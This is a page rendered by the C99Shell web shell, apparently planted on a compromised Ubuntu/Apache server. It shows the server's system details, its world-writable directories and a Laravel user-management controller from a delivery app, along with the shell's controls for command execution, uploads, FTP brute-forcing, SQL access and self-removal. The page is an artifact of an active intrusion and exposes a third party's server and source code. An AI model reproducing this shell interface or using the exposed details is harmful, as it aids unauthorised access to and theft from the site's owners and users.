!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff_delivery/app/Http/Controllers/   drwxrwxrwx
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserController.php (2.65 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
Illuminate\Http\Request;
use 
App\Models\User;
use 
App\Models\UserGroup;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Validator;

class 
UserController extends Controller
{
    function 
index() {
        
$data=User::with('group')->get();
        
$user_groups=UserGroup::select('id','name')->get();
        return 
view('pages.user.index',['users'=>$data,'user_groups'=>$user_groups]);
    }
    function 
create(Request $req)
    {
        
$validator Validator::make($req->all(), [
            
'name' => 'required|string|max:255',
            
'email' => 'required|string|email|max:255|unique:users',
            
'password' => 'required|string|min:8',
        ], [
            
'name.required' => 'User Name can`t be empty',
            
'email.email' => 'Invalid Email address',
            
'email.unique' => 'Email address already used',
            
'password.min' => 'Password minimum 8 character require',
        ]);
        if (
$validator->fails()==true) {
            return 
redirect()->back()->withErrors($validator->errors()->all())->withInput();
        } {
            
$dataUser::create([
                
'name' => $req->input('name'),
                
'email' => $req->input('email'),
                
'password' => Hash::make($req->input('password')),
                
'user_group' => $req->input('user_group')
            ]);
            return 
redirect()->back()->with('message'"User added successfully");
        }
    }
    function 
update(Request $req)
    {
        
$validator Validator::make($req->all(), [
            
'name' => 'required|string|max:255',
            
'email' => 'required|string|email|max:255',
        ], [
            
'name.required' => 'User Name can`t be empty',
            
'email.email' => 'Invalid Email address',
        ]);
        
$user=User::where("id","!=",$req->input('user_id'))->where("email",$req->input('email'))->get();
        if (
$validator->fails()==true) {
            return 
redirect()->back()->withErrors($validator->errors()->all());
        } else if(
count($user)>0) {
            return 
redirect()->back()->withErrors("Email address already used");
        }else{
            
$dataUser::find($req->input('user_id'))->update([
                
'name' => $req->input('name'),
                
'email' => $req->input('email'),
                
'user_group' => $req->input('user_group')
            ]);
            return 
redirect()->back()->with('message'"User updated successfully");
        }
    }
    function 
delete(Request $req) {
        
$data=User::find($req->input('user_id'))->delete();
        return 
redirect()->back()->with('message'"User deleted successfully");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0086 ]--